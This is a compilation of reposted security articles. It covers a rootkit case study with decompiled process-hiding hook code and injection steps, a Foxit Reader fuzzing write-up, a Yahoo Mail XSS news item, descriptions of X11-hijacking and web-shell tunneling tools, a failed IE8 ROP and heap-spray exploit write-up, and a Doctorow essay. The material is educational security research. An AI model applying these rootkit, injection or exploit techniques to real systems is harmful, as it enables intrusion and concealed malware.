(IntPtr)((long)((ulong)func_to_be_hooked[1])), 24u); original_func_code[2] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[2])), 24u); The small 5-byte long array will be used to prepare a jump. The first byte, 233 is 0xE9 hex, and it represents the opcode of the JMP instruction. Other 4 bytes will be filled with the address of the detour function: Another array contains prepared detours functions in form of shellcodes: Shellcodes are stored as arrays of decimal numbers: In order to analyze the details, we can dump each shellcode to a binary form and load it in IDA. For example, the resulting pseudocode of the detour function of NtOpenProcess is: int __stdcall NtOpenProcess_filter(int ProcessHandle, int DesiredAccess, int ObjectAttributes, _DWORD *ClientId) { int res; //result of the operation if ( ClientId && *ClientId == *(_DWORD *)((char *)&malwareId + 3) ) res = 0xC0000022; //STATUS_ACCESS_DENIED else res = ((int (__stdcall *)(int, int, int, _DWORD *))((char *)&NOpentProcess_original))( ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); return res; } view rawshellcode2.cpp hosted with ❤ by GitHub So, what does this detour function do? Very simple filtering: “if someone ask about the malware, tell them that it’s not there. But if someone ask about something else, tell the truth”. Other filters, applied on NtReadVirtualMemory and NtQuerySystemInformation (for SYSTEM_INFORMATION_CLASS types: 5 = SystemProcessInformation, 16 = SystemHandleInformation) – manipulates, appropriately: reading memory of the hooked process and reading information about all the processes. Of course, the fiters must know, how to identify the malicious process that wants to remain hidden. In this rootkit it is identified by the process ID – so, it needs to be fetched and saved in the data that is injected along with the shellcode. The detour function of NtReadVirtualMemory will also call from inside functions: GetProcessId and GetCurrentProcessId in order to apply filtering – so, their handles need to be fetched and saved as well: getProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetProcessId") ); getCuttentProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetCurrentProcessId") ); Putting it all together All the required elements must be put together in a proper way. First, the malware allocates a new memory area, and copies all the elements in order: BitConverter.GetBytes(getProcId_ptr).CopyTo(array, 0); BitConverter.GetBytes(getCuttentProcId_ptr).CopyTo(array, 4); //... // copy the current process ID BitConverter.GetBytes(Process.GetCurrentProcess().Id).CopyTo(array, 8); //... // copy the original functions' addresses: BitConverter.GetBytes(func_to_be_hooked[0]).CopyTo(array, 12); BitConverter.GetBytes(func_to_be_hooked[1]).CopyTo(array, 16); BitConverter.GetBytes(func_to_be_hooked[2]).CopyTo(array, 20); //... //copy the code of original functions: original_func_code[0].CopyTo(array, 24); original_func_code[1].CopyTo(array, 48); original_func_code[2].CopyTo(array, 72); After this prolog, the three shellcodes are being copied into the same memory page – and the page is injected into the attacked process. Finally, the beginning of each attacked function is being patched with a jump, redirecting to the appropriate detour function within the injected page. Bugs and Limitations The basic functionality of a rootkit has been achieved here, however, this code contains also some bugs and limitations. For example, it causes an application to crash if the functions have been already hooked (for example in the case if the malware has been deployed for the second time). It is caused by the fact that the hook needs also a copy of the original function in order to work. The hooking function assumes, that the code in the memory of ntdll.dll is always the original one and it copies it to the required buffer (rather than copying it from the raw image of ntdll.dll). Of course this assumption is valid only in optimistic case, and fails if the function was hooked before. There are also many limitations – i.e. the hooking function is deployed only at the beginning of the execution, but when we deploy a monitoring program while the malware is running, we can still see it set of hooked applications is small – we can still attach to the malware via debugger or view it by any tool that is not considered by the authors the implemented code works only for 32 bit applications Conclusion The demonstrated rootkit is very simple, probably created by a novice. However, it allows us to illustrate very well the basic idea behind API hooking and how it can be used in order to hide the process. This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com. Sursa: https://blog.malwarebytes.com/threat-analysis/2016/12/simple-userland-rootkit-a-case-study/

Applied high-speed in-process fuzzing: the case of Foxit Reader # Date: 2016-12-08 # Author: Jean-Jamil Khalife # Home: http://www.hdwsec.fr # Blog: http://www.hdwsec.fr/blog/ Introduction Fuzzing has now become commonplace, especially since the release of AFL [1]. Since performance is key, we'd like to optimize our fuzzing methods to maximize the number of bugs found during a given period of time. This article describes a general method applied to a plugin of Foxit Reader [2] which is responsible for converting an image to PDF. More specifically, we are focusing on version 7.3.6.321 of Foxit and version 7.3.4.308 of the vulnerable plugin (ConvertToPDF_x86). Several interesting crashes were found for this version of the plugin. As they were independently discovered by another researcher who disclosed them to the Foxit team (leading to a new, fixed version) we have decided to release them now. Fuzzing method When an image is opened with Foxit Reader, the plugin ConvertToPDF_x86 is loaded in order to convert the image to PDF and display it. This plugin takes care of the most common image file formats (JPEG, GIF, PNG, ...). 1 2 3 ModLoad: 6cf90000 6cf96000 C:\Windows\SysWOW64\IconCodecService.dll ModLoad: 50230000 50f61000 C:\Windows\SysWOW64\ieframe.dll ModLoad: 53820000 53d45000 C:\Program Files (x86)\Foxit Software\Foxit Reader\Plugins\Creator\x86\ConvertToPDF_x86.dll In my fuzzing tests, I decided to concentrate on the JPEG file format. I then identified the function of Foxit (core) that calls the plugin: 1 2 3 4 5 6 7 003b96f0 533c932e kernel32!CreateFileW 003b9720 533cb136 ConvertToPDF_x86!DestorFXPDFConvertor+0x4fe 003b975c 02598c3f ConvertToPDF_x86!CreateFXPDFConvertor+0x646 003bb644 0128e6fd FoxitReader_Lib_Full!CryptUIWizExport+0x8856ff 003beac8 0128637a FoxitReader_Lib_Full+0x18e6fd 003beb18 0128691c FoxitReader_Lib_Full+0x18637a 003beed0 013aefa8 FoxitReader_Lib_Full+0x18691c By examining the arguments pushed on the stack, we can see that the first one points to the image file path, and the second to the temporary PDF file to be written. Note that due to ASLR the addresses shown below may differ from the list of modules above. 1 2 3 4 5 6 7 0032e6f0 6a01 push 1 0032e6f2 6a00 push 0 0032e6f4 51 push ecx ; path to temp PDF file 0032e6f5 8bc8 mov ecx,eax 0032e6f7 8b4604 mov eax,dword ptr [esi+4] 0032e6fa 52 push edx ; path to JPEG image 0032e6fb ffd0 call eax By dynamically altering the arguments when Foxit calls the function, we were able to open any other arbitrary image. Then by restoring the context (notably x86 registers) between calls, it becomes possible to quickly call this conversion function repeatedly. Fortunately, the heap does not need to be restored each time. This approach can be automated in a number of ways. We could have used Pintool [3], but instead I decided to write a specific tool for optimization purposes. To this end I wrote a mini debugger that starts Foxit Reader by passing an image as parameter and breaks on the relevant call to the image conversion function in ConvertToPDF_x86.dll in order to get the context to be replayed in the next step. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 CONTEXT ctx; ... case EXCEPTION_DEBUG_EVENT: { EXCEPTION_DEBUG_INFO& exception = debug_event.u.Exception; switch (exception.ExceptionRecord.ExceptionCode) { case STATUS_BREAKPOINT: ... if (IsMyBp()) { SaveContext(&ctx); ... RunFuzzing(&ctx); ... } } } The debugger then injects a DLL (this is done by RunFuzzing()) in Foxit's memory and sets the appropriate values to be passed to the called function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 while(TRUE) { corrupt(image); // call the fonction _asm { push 1 push 0 lea edi, pdf_path push edi; lea edi, image_path push edi; mov edi, val_edi mov esi, val_esi mov ecx, val_ecx mov ebx, val_ebx mov eax, val_eax mov edx, val_edx call eax } } On an Intel Xeon E3-1230v3 (3.3 GHz) we managed to run between 150 and 300 tests/sec depending on the fuzzing method used. It is important to note that the fuzzing has to take place within the Foxit process: manually calling the DLL plugin will not work directly. Fuzzing results Even with simple bit flipping, a number of crashes were quickly produced, some of them potentially exploitable. A total of three days of fuzzing led to the discovery of the crashes below. 1 2 3 4 5 eax=11ba0020 ebx=25000007 ecx=ec54a4e6 edx=11ba0020 esi=11544060 edi=25000007 eip=5cc76ff3 esp=003c8b10 ebp=003c8b18 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ConvertToPDF_x86!CreateFXPDFConvertor+0x2ba793: 5cc76ff3 8a19 mov bl,byte ptr [ecx] ds:002b:ec54a4e6=?? 1 2 3 4 5 eax=1e7df002 ebx=1e7df000 ecx=1e7df002 edx=1e7df000 esi=1c7bdfc0 edi=1e7e0ff8 eip=6735d9a6 esp=00399750 ebp=00399750 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 ConvertToPDF_x86!CreateFXPDFConvertor+0x192eb6: 6735d9a6 0fb601 movzx eax,byte ptr [ecx] ds:002b:1e7df002=?? 1 2 3 4 5 eax=7b2e0ee2 ebx=1c59cfc8 ecx=00000001 edx=52cf0002 esi=00000000 edi=1f20fff8 eip=67e399e8 esp=035f9854 ebp=035f985c iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 ConvertToPDF_x86!CreateFXPDFConvertor+0x2deef8: 67e399e8 8808 mov byte ptr [eax],cl ds:002b:7b2e0ee2=?? 1 2 3 4 5 eax=00000000 ebx=44436fb0 ecx=61f3dbf7 edx=431e1078 esi=00000000 edi=44438fb8 eip=620ba719 esp=00309efc ebp=00309f20 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ConvertToPDF_x86!CreateFXPDFConvertor+0x2dfc29: 620ba719 837e0800 cmp dword ptr [esi+8],0 ds:002b:00000008=???????? 1 2 3 4 5 eax=00000000 ebx=56bc8fb8 ecx=67fae147 edx=42551078 esi=00000000 edi=00000000 eip=6812b468 esp=00219788 ebp=002197b8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 ConvertToPDF_x86!CreateFXPDFConvertor+0x2e0978: 6812b468 397e08 cmp dword ptr [esi+8],edi ds:002b:00000008=???????? 1 2 3 4 5 eax=00000000 ebx=000002fa ecx=00000060 edx=44b57f7f esi=003f9d5c edi=44b57fbf eip=69885b61 esp=003f9d08 ebp=003f9d1c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 ConvertToPDF_x86!CreateFXPDFConvertor+0x1bb071: 69885b61 8a5c0302 mov bl,byte ptr [ebx+eax+2] ds:002b:000002fc=?? You can download some of them here. Conclusion This method could potentially be applied to any piece of software on the condition that one is able to easily recreate the state of the software right before the targeted function (or group of functions) is to be called. This is in my opinion the biggest hurdle to overcome. The case of ConvertToPDF_x86 is straightforward, but in a number of other cases, memory allocations, deallocations and global state changes (or initialization routines) must be taken care of. Towards this aim Pintool [3] might become very useful and may be an interesting direction for further research. Note that we could optimize this fuzzing method by hooking the plugin's read/write access, thus avoiding writing any files on disk during the job. References: [1] American Fuzzy Lop, http://lcamtuf.coredump.cx/afl/ [2] Foxit Reader, https://www.foxitsoftware.com/products/pdf-reader/ [3] Pintool, https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool Sursa: http://hdwsec.fr/blog/inprocessfuzzing.html

Yahoo Flaw Allowed Hackers to Read Anyone's Emails Thursday, December 08, 2016 Swati Khandelwal Yahoo has patched a critical security vulnerability in its Mail service that could have allowed an attacker to spy on any Yahoo user's inbox. Jouko Pynnönen, a Finnish Security researcher from security firm Klikki Oy, reported a DOM based persistent XSS (Cross-Site Scripting) in Yahoo mail, which if exploited, allows an attacker to send emails embedded with malicious code. In his blog post published today, the researcher demonstrated how a malicious attacker could have sent the victim's inbox to an external site, and created a virus that attached itself to all outgoing emails by secretly adding a malicious script to message signatures. Since the malicious code is in the message's body, the code will get executed as soon as the victim opens the boobytrapped email and its hidden payload script will covertly submit victim's inbox content to an external website controlled by the attacker. This issue is because Yahoo Mail failed to properly filter potentially malicious code in HTML emails. "It would be possible to embed a number of HTML attributes that are passed through Yahoo's HTML filter and treated specially," Pynnönen says in his blog post. Pynnönen says he found the vulnerability by force-feeding all known HTML tags and attributes in order to the filter that Yahoo uses to weed out malicious HTML, but certain malicious HTML code managed to pass through. "As a proof of concept I supplied Yahoo Security with an email that, when viewed, would use AJAX to read the user's inbox contents and send it to the attacker's server," Pynnönen says. Pynnönen privately disclosed the vulnerability to Yahoo through its HackerOne bug bounty program and was awarded a $10,000 bounty. Pynnönen reported a similar vulnerability in the web version of the Yahoo! Mail service earlier this year for which he earned $10,000. He also reported a stored XSS vulnerability in Flickr to Yahoo in December 2015 for which he earned $500. Sursa: https://thehackernews.com/2016/12/hack-yahoo-email.html

X11 Remote Desktop This is a rudimentary remote desktop tool for the X11 protocol exploiting unauthenticated x11 sessions. Our approach is to automate the process of using the default X toolset into an easy to use tool for exploiting unauthenticated X11 access. Our tool provides a streamlined method for connecting to an X server in order to send commands and receive output hijacking the remote host. The provided user interface is designed to resemble a remote desktop connection apart from the added user input fields. Before using the tool, a vulnerable host will need to be found using available scanners or using the Nmap script we developed to find vulnerable hosts with currently active displays that can be hijacked. To help in the scanning process, check out the custom nmap script here Link: https://github.com/sensepost/xrdp

Eh'Trace (pronounced ATrace) is a binary tracing tool for Windows. Implemented in C but has some interesting properties that may make it suitable for tracing binaries when other methods are not sufficient, in particular EhTrace does not require changes to a binary to enable traces, despite being able to collect the same information as hooker type instrumentation, zero knowledge is needed to inspect complete code coverage and binary execution flow, register state and more. Link: https://github.com/K2/EhTrace

A Black Path Toward The Sun (TCP tunneling over HTTP for web application servers) https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS uses a Python client script and a web application server page/package[1] to tunnel TCP traffic over an HTTP/HTTPS connection to a web application server. In other words, anywhere that one could deploy a web shell, one should now be able to establish a full TCP tunnel. This permits making RDP, interactive SSH, Meterpreter, and other connections through the web application server. The communication is designed to be fully compliant with HTTP standards, meaning that in addition to tunneling inthrough a target web application server, it can be used to establish an outbound connection through packet-inspecting firewalls. A number of novel features are used to make detection of its traffic challenging. In addition to its usefulness to authorized penetration testers, it is intended to provide IDS/WPS/WAF developers with a safe, live example of malicious traffic that evades simplistic regex-pattern-based signature models. An extensive manual is provided in PDF form, and walks the user through a variety of deployment scenarios. This tool is released under version 2 of the GPL. [1] Currently JSP/WAR and ASP.NET server-side components are included. Compare and contrast with: reGeorg (https://github.com/sensepost/reGeorg) HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel) Named as an oblique reference to Cordyceps/Ophiocordyceps, e.g.: http://www.insectimages.org/browse/detail.cfm?imgnum=0014287 Link: https://github.com/nccgroup/ABPTTS

woumn December 7, 2016 ROP & Heap Spray for a Reverse Shell in IE8 Introduction/Motivation This exploit is aimed at Internet Explorer 8 running on Windows 7. We are chiefly concerned with the use of a plugin which uses the Java Network Launch Protocol, which has an overflow vulnerability. In order to do this, we will be using Heaplib.js alongside developing our own ROP chain to disable DEP, and hopefully gaining control of the victim machine. Did it Work? My exploit does not currently work. I know that I hit the LEAVE; instruction: Which I further confirmed with disassembly. The error looks like I don’t have the rights to access this DLL (which is wrong), or perhaps that there is a violation of the page’s read-write/execute privileges. I investigated further, and sure enough after running !vprot 7c3411a4 which shows the privileges I’m interested in: Sure enough! I should be able to execute this… This is where I called it quits. I hope that this write-up is as accurate as I can pretend to be. I’m actually pretty interested to see where I went wrong–I know there will be a lot of places. Please continue reading down below at “Unanswered Questions” for more discussion. Developing the Exploit Structuring the Malicious Inputs The Java Network Launch Protocol (JNLP) enables applications to be launched on a client desktop using resources which are hosted on a remote server. It turns out the JNLP has a buffer overflow vulnerability (doesn’t everything now a days). The structure of the request sent doesn’t matter too much to us, although, we’re mainly concerned with overflowing the docbase parameter passed to JNLP. Additionally, we’ll be using Javascript to enable this exploit for a couple reasons. First, we have use Javascript to directly influence the DOM. The DOM is a Document Object Model which is fancy words for the page that is shown on the screen. It renders the HTML + CSS and Javascript, and also has access to Browser “Syscalls” like QuickTime, Flash, etc. This makes it very convenient to just practice the exploit within the confines of the Browser. This exploit uses a lot of techniques we’ve seen already with over overflow vulnerabilities, so I won’t go into detail about those. But recognize that when we’ve an overflow vulnerability, that means we can control EIP and the memory at ESP. Yet, we’re left with the problem of DEP–the stack is unable to execute.Because of the DEP protection, we are forced to use ROP (Return Oriented Programming) to get around that. We’ve briefly used ROP techniques in other exploits before–namely, when we found the addresses of say jump 4 or other things. We find places that do have execution privileges, and then just call the address of the OP codes we want. The challenge here is that we need more than just one or two instructions. In general, ROP chains can get to be very large, and on top of that, we have shellcode we also want to insert. The worry is that the stack may not have enough space for all of our payload, which leaves us with the heap–and the challenges that come along with that. The first challenge with the heap is locating anything we stick in there. Luckily, this problem is alleviated with the help of the Heaplib.js, which handles spraying the heap and can guarantee aligned addresses. Heap spray is the notion of putting a bunch of blocks of memory into the heap, so that we have a chance of jumping into the part we need. It looks something like: It turns out that the Heaplib.js library provides very accurate heap spraying, and the shellcode is present at every 2000 bytes (i.e. 0020, 2020, 4020, etc.) The second problem we face is converting the heap into the stack. This is somewhat counter intuitive at first, but trust me–after this and the next problem, you’ll understand why we need to do this. Many call this problem the “Stack Flip [Pivot]” because we will see that in order to convince the stack that it is the heap, we simply need to swap ESP with a value that is pointing to our heap (hopefully where we placed the shellcode with the heap spray). This is usually achieved by flipping EAX with the command XCHNG EAX, ESP; RET which is in itself ROP gadget. However, we don’t control EAX, but we do control EBP, which is also able to do the stack flip with the instructions LEAVE; RET. I learned this after passing A’s through, and observing which registers were overwritten–EIP and EBP were the only two. The primary reason we go through this trouble is because all the RET statements will try to return to ESP, so we need ESP to be pointing to our data located on the heap. The next issue we have to tackle is how to execute the shellcode that we placed in the heap. Well, remember, after executing the stack flip, the heap is now the “stack”, or at least it appears that way to a process. How can we execute the shellcode? Well, unfortunately, Windows uses DEP (Data Execution Prevention), which says that certain memory locations are either read/writable or just executable. This is in place to prevent exactly what we want to do–execute these instructions that are stored on the stack. It turns out that there is a way around this. In Windows, there is a function located in the Kernel32.dll called VirtualProtect, which is used to change the protection of a region in memory. This is perfect for us because if we can call this function on the memory space of our shellcode, then we can change the protection from read/write to executable and then continue on executing the shellcode. It turns out that Kernel32.dll is ASLR’ed, but we can handle this later in the “Determining the Parameters Used” section. Just realize that we have a means of changing our privileges–and of course this will be achieved with another ROP-chain. Determining the Parameters Used The first thing I deciding to do was figure out what parameters we will pass into the VirtualProtect function call. This was straight forward, because Alex gave us parameters we can use that will work because of the nature of the heap spray: These values will be what we place on the stack to be passed into the VirtualProtect function call. Pretty straight forward. Next, I went after the address to VirtualProtect. To do this, I used WINdbg to explore the MSVCR71.DLL that was not ASLR’d. We can run the commands: dh msvcr71 to dumb the header which gives us an address table for the VirtualProtect function. Next, we call: dps msvcr71+3a000 which is given in the table prior to find the VirtualProtect stub (you may need to type dps more than once). And finally, that gives us an address, which we confirm with u poi(7c37a140) to be the address we’re after. Incidentally, this address is listed on the web, and was also given to us on the slides. The next thing we’re concerned about is ensuring the stack pivot goes as planned. I mentioned that it depends on which register you have access to in that process. Simply use the WINdbg to attach to the IE process, pass it enough A’s to overflow the buffer (200 in our case) and observe which register is overflowed. After doing this, EIP and EBP are both overflowed with A’s, and EAX is left untouched. That means we need to use the LEAVE; RET gadget. It’s also important to mention that all ROP gadget searching was done on the MSVCR71.dll because not only is it unprotected by ASLR, but Alex also said to use this one specifically. Generating the Malicious Input So though out this section, I will be referring to the following diagram for which specific ROP-gadget we’re searching for: Briefly, a ROP gadget is simply a memory address in some shared memory (in our case the MSVCR71.DLL) that we can reference to do some action, and return. There are different tools that can be used to search for these addresses, because we need granularity over what exact instructions we want to issue. Alex suggested two different options; the first is something called Skyrack and the second was msfpescan with a regex. Both of these tools are bad for what we want to do–at least I had a very bad time with them. Skyrack is a pain to even get started, and then you can only search for individual instructions, and we’re basically only concerned with compound instructions (i.e. POP EAX; RET in one address). I fumbled with these for far too long before turning to Google and finding an open source tool called Ropper. So, I used ropper. It was very easy to install (follow the github) and also very easy to search for compound instructions–incidentally it also returns all instances matching your query, instead of just one. The command to use is: ropper --file ~/path/to/msvcr71.dll --search "INSTRUCTION; ret" where INSTRUCTION is the instruction you want to search for. Here is the list of instructions we need to set up the stack I have shown above: 1. POP EAX, RET; 2. MOV EAX, DWORD PTR [EAX]; RET; 3. CALL EAX; RET; 4. POP EAX; POP EDI; POP ESI; POP EBX; POP EBP; RET; The first three can be easy found with Ropper. The final instruction is a bit more difficult. For this one, I found a source called Fuzzysecurity which does a similar exploit using a ROP-chain for IE8. So naturally, I tried to follow his example, but he decided to use a well-known and published generic ROP-chain that I decided against using (published by corelanc0d3r ). However, I did notice that he had the pop’s and return I was looking for–additionally, he had listed a text file of ROP gadgets hosted here, that one could search through. The only caveat here is that the gadget used contains five POP instructions, and we only need four considering the call to VirtualProtect only has four parameters. Well, that’s no problem, I can just add a dummy value to the end that will be popped off later! Next, that leaves the ROP-gadget for the stack pivot. As I explained above, we don’t have access to EAX–we know that after checking WINdbg after overflowing the buffer, and noticing that only EIP and EBP were overwritten. That leaves us with the ROP-gadget for pivoting the stack when we control EBP which is just LEAVE; RET. I was actually able to use Skyrack for this if only because when searching for the LEAVE instruction, there’s a very high chance it’s immediately followed by a RET. I verified this using WINdbg and disassembling the memory at the address. The reason we have the POP (x5); RET included is because of the nature of ROP-chains. Consider the following: Basically, we’re faking a stack frame, and when we return from the call to VirtualProtect. That means we need to POP all of the parameters to VirtualProtect and then after those POP’s we return to the address next listed on the stack, which is our pop’s. That means when we return from VirtualProtect, we return to the address of the POP(x5); RET;, which removes the parameters, and returns to shellcode. I should mention that originally, I had intended to use my own hand generated ROP-chain to demonstrate my “understanding” of what should be happening, but it didn’t work (big surprise!). So I decided to take Chandan’s advice and use the auto-generated ROP-chain by Mona.py–incidentally this is the same ROP-chain I linked to earlier. Here, I will also address some “phantom” addresses that have been suggested to me. During class, Alex gave us some “hints” regarding the structure of our exploit. Firstly, he said that our buffer overflow should contain the stack pivot (later I decided it also needs the address of our ROP-chain/shellcode stuff because of the nature of the LEAVE; command). Next, we received an ambiguous hint that there should be an address placed before our ROP-chain for either: 1) byte alignment or 2) it may be something else–I decided to just try the address of the shellcode promised with Heaplib.js because why not? I have no idea what else should be there! And the final hint was that after our ROP-chain and before the shellcode, we should include the “hard coded” address of our shellcode. This one especially doesn’t make sense to me because if it is proceeding the ROP-chain, we should be able to just plop the shellcode right there, and after our call to VirtualProtect finishes, then we can just immediately begin executing the shell. So basically, for every time I needed the “address of the shellcode” I used 0x0a0a2020 . Finally, we’re left with the shellcode. This is old news by now, but I used Metasploit to generate my shellcode. The command is: generate -t js_be which gives us shellcode that can be pasted into a Javscript function. An important note is to ensure that the shellcode is divisible by 4 so that it lines up correctly. Mine was 324 bytes long, which is divisible by 4, so there wasn’t anything I needed to do with it. Unanswered Questions There are multiple questions I had regarding this assignment that I wasn’t quiet able to figure out. Below, I’ll detail my concerns and the conclusions I came to in an attempt to convince those reading that at least some thought was put into this. I’m not entirely sure what address to overwrite EIP with during the initial buffer overflow. I know in the slides and in class, we discussed just any aligned address on the heap because we would either hit NOPs or our shellcode. But, I’m not sure how that works because the entire point of this exploit was to get the code we have on the heap to execute. That means that if we hit something like the NOPs or the beginning of our shellcode (basically everything excluding the pivot), we get stuck because we haven’t moved ESP to where we are or changed the protections. After having another class with Alex, he said to overwrite EIP with our stack pivot, so that’s what I wound up doing. I considered moving the stack pivot address to be what we initially overflow into EIP, but that doesn’t make sense to me because the op codes that happen for the stack pivot (LEAVE; RET) simply move the ESP into EBP, but if we’re still on the stack, we won’t be replacing it with an address on the heap. So I ended up addressing this by overflowing the initial buffer with the address of the shellcode and also the address of the stack pivot (as pairs), because I knew that the pivot would be landing in EIP. This was later confirmed after looking through WINdbg. Alex basically told us to insert an address before our ROP-chain and immediately following it. The first one was ambiguous as to what its purpose was–I still don’t really know. Nothing I’ve read indicates this is necessary. Perhaps it is only for alignment? The second address after the ROP-chain is supposed to be the “hard coded” address to our shellcode. Again, I don’t understand why this is necessary instead of just placing the shellcode immediately following, but at this point, I’m blindly taking Alex’s suggestions. Why am I unable to execute the LEAVE; instruction? My primary thought is there there is an issue with EBP or something not pointing to memory I should be. I’m not entire sure if that’s what is happening, nor how I could fix it! That’s all I can think of immediately. Anyway, I’m happy with what I’ve learned with this project, even if I wasn’t able to get a reverse shell. Besides, everyone I talked to couldn’t either. I wish I knew more answers to these questions–it’s very unsatisfying being so confused! Unfortunately, I ended my quest at this error. Due to time constraints, a final, and simply other classes–even with a day extension–I reached my wit’s end, and without simply asking for a code review with Chandan, I’m not sure I could figure this out on my own. And I think that’s okay–we learn from our failures, and just because it’s called a failure, that doesn’t mean I should quit! Sursa: https://woumn.wordpress.com/2016/12/07/rop-heap-spray-for-a-reverse-shell-in-ie8/

Mr. Robot Killed the Hollywood Hacker The popular portrayal of computers as magic boxes capable of anything has done real societal harm. Now one TV show wants to save us. by Cory Doctorow December 7, 2016 For decades Hollywood has treated computers as magic boxes from which endless plot points could be conjured, in denial of all common sense. TV and movies depicted data centers accessible only through undersea intake valves, cryptography that can be cracked through a universal key, and e-mails whose text arrives one letter at a time, all in caps. “Hollywood hacker bullshit,” as a character named Romero says in an early episode of Mr. Robot, now in its second season on the USA Network. “I’ve been in this game 27 years. Not once have I come across an animated singing virus.” Mr. Robot marks a turning point for how computers and hackers are depicted in popular culture, and it’s happening not a moment too soon. Our thick-­headedness about computers has had serious ramifications that we’ve been dealing with for decades. Following a time line of events from about a year before the air date of each episode, Mr. Robot references real-world hacks, leaks, and information security disasters of recent history. When hackers hack in Mr. Robot, they talk about it in ways that actual hackers talk about hacking. This kind of dialogue should never have been hard to produce: hacker presentations from Black Hat and Def Con are a click away on YouTube. But Mr. Robot marks the first time a major media company has bothered to make verisimilitude in hacker-speak a priority. The show excels not only at talk but also at action. The actual act of hacking is intrinsically boring: it’s like watching a check-in clerk fix your airline reservation. Someone types a bunch of obscure strings into a terminal, frowns and shakes his head, types more, frowns again, types again, and then smiles. On the screen, a slightly different menu prompt represents the victory condition. But the show nails the anthropology of hacking, which is fascinating as all get-out. The way hackers decide what they’re going to do, and how they’re going to do it, is unprecedented in social history, because they make up an underground movement that, unlike every other underground in the past, has excellent, continuous, global communications. They also have intense power struggles, technical and tactical debates, and ethical conundrums—the kind of things found in any typical Mr. Robot episode. Mr. Robot wasn’t the first technically realistic script ever pitched, but it had good timing. In 2014, as the USA Network was deliberating over whether to greenlight Mr. Robot’s pilot for a full season, Sony Pictures Entertainment was spectacularly hacked. Intruders dumped everything—prerelease films, private e-mails, sensitive financial documents—onto the Web, spawning lawsuits, humiliation, and acrimony that persists to this day. The Sony hack put the studio execs in a receptive frame of mind, says Kor Adana, a computer scientist turned screenwriter who is a writer and technology producer on the series. Adana told me the Sony hack created a moment in which the things people actually do with computers seemed to have quite enough drama to be worthy of treating them with dead-on accuracy. It’s about time. The persistence until now of what the geeks call “Hollywood OS,” in which computers do impossible things just to make the plot go, hasn’t just resulted in bad movies. It’s confused people about what computers can and can’t do. It’s made us afraid of the wrong things. It’s led lawmakers to create a terrible law that’s done tangible harm. Worst law in technology In 1983, Matthew Broderick had his breakout role as David Lightman, the smart, bored Seattle teen who entertains himself in WarGames by autodialing phone numbers with his computer’s primitive modem, looking for systems to hack into and explore. When he connects to a mysterious system—seemingly an internal network for a game development company—he nearly starts World War III, because that “game company” is actually the Pentagon, and the “Global Thermonuclear War” game he’s initiated is the autonomous nuclear retaliatory capability designed to launch thousands of ICBMs at the USSR. WarGames inspired many a youngster to scrounge a 300-baud modem and experiment with networked communications. Linguistically, it gave us “war­dialing” (dialing many phone numbers in sequence), which begat “warwalking” and “wardriving” (hunting for open Wi-Fi networks). The film wasn’t a terrible approximation of how a misfit kid might have tried to hack in, although WarGames did make it seem as if the system had fewer fail-safes than it actually did. (Still, it also appears to be true that in real life the launch code for all the missiles was set to “00000000.”) The worst thing about WarGames—and its most profound legacy—was the reaction of panicked lawmakers. Passed by Congress in 1984 and broadened in 1986, the Computer Fraud and Abuse Act was a sweeping anti-­hacking bill inspired by the idea thatAmerica’s Matthew Brodericks could set off Armageddon. Before CFAA’s passage, prosecutions against hackers had invoked a hodgepodge of legal theories. Crooks who broke into sensitive databases were charged with theft of the electricity consumed in the transaction. CFAA’s authors understood that even if they explicitly banned the hacking techniques of the time, these prohibitions would swiftly be overtaken by advances in technology, leaving future prosecutors scrounging for legal theories again. So CFAA took an exceptionally broad view of what constitutes criminal “hacking,” making a potential felon out of anyone who acquires unauthorized access to a computer system. It sounds simple: you can legally use a computer only in ways its owner has permitted. But CFAA has proved to be a pernicious menace—what legal scholar Tim Wu has called “the worst law in technology.” That’s because companies (and federal prosecutors) have taken the view that your “authorization” to use an online service is defined by its end-user license agreement—the thousands of words of legalese that no one ever reads—and that violating those terms is therefore a felony. Decades ago, WarGames inspired a legacy of stupid technology law that we still struggle with. Mr. Robot might just leave behind a happier legacy. This is how a young entrepreneur and activist named Aaron Swartz came to be charged with 13 felonies after using a script to automate his downloads of articles from JSTOR, a scholarly repository on MIT’s networks. Swartz was legally permitted to download these articles, but the terms of service forbade using a script to fetch them in bulk. What Swartz did was no accident—he made multiple attempts to get around JSTOR’s download limits over a period of months, and ultimately entered a basement wiring closet to tap into a network switch directly. But because of CFAA he was facing up to 35 years in prison when he hanged himself in 2013. After WarGames, Hollywood made a trickle of “hacker movies,” many much beloved by actual hackers. There was 1992’s Sneakers, which took some of its inspiration from real-world phone phreaks John “Cap’n Crunch” Draper and Josef “Joybubbles” Engressia. There was 1995’s Hackers, which referenced the 2600: Hacker Quarterly meetups and Operation Sundevil, the Secret Service’s notorious 1990 hacker raids (which resulted in the founding of the Electronic Frontier Foundation). But even these movies wanted for much in the way of technical accuracy. Sneakers ridiculously featured a universal key that can break all crypto; Hackers featured the graphically elaborate virus mocked by Romero in Mr. 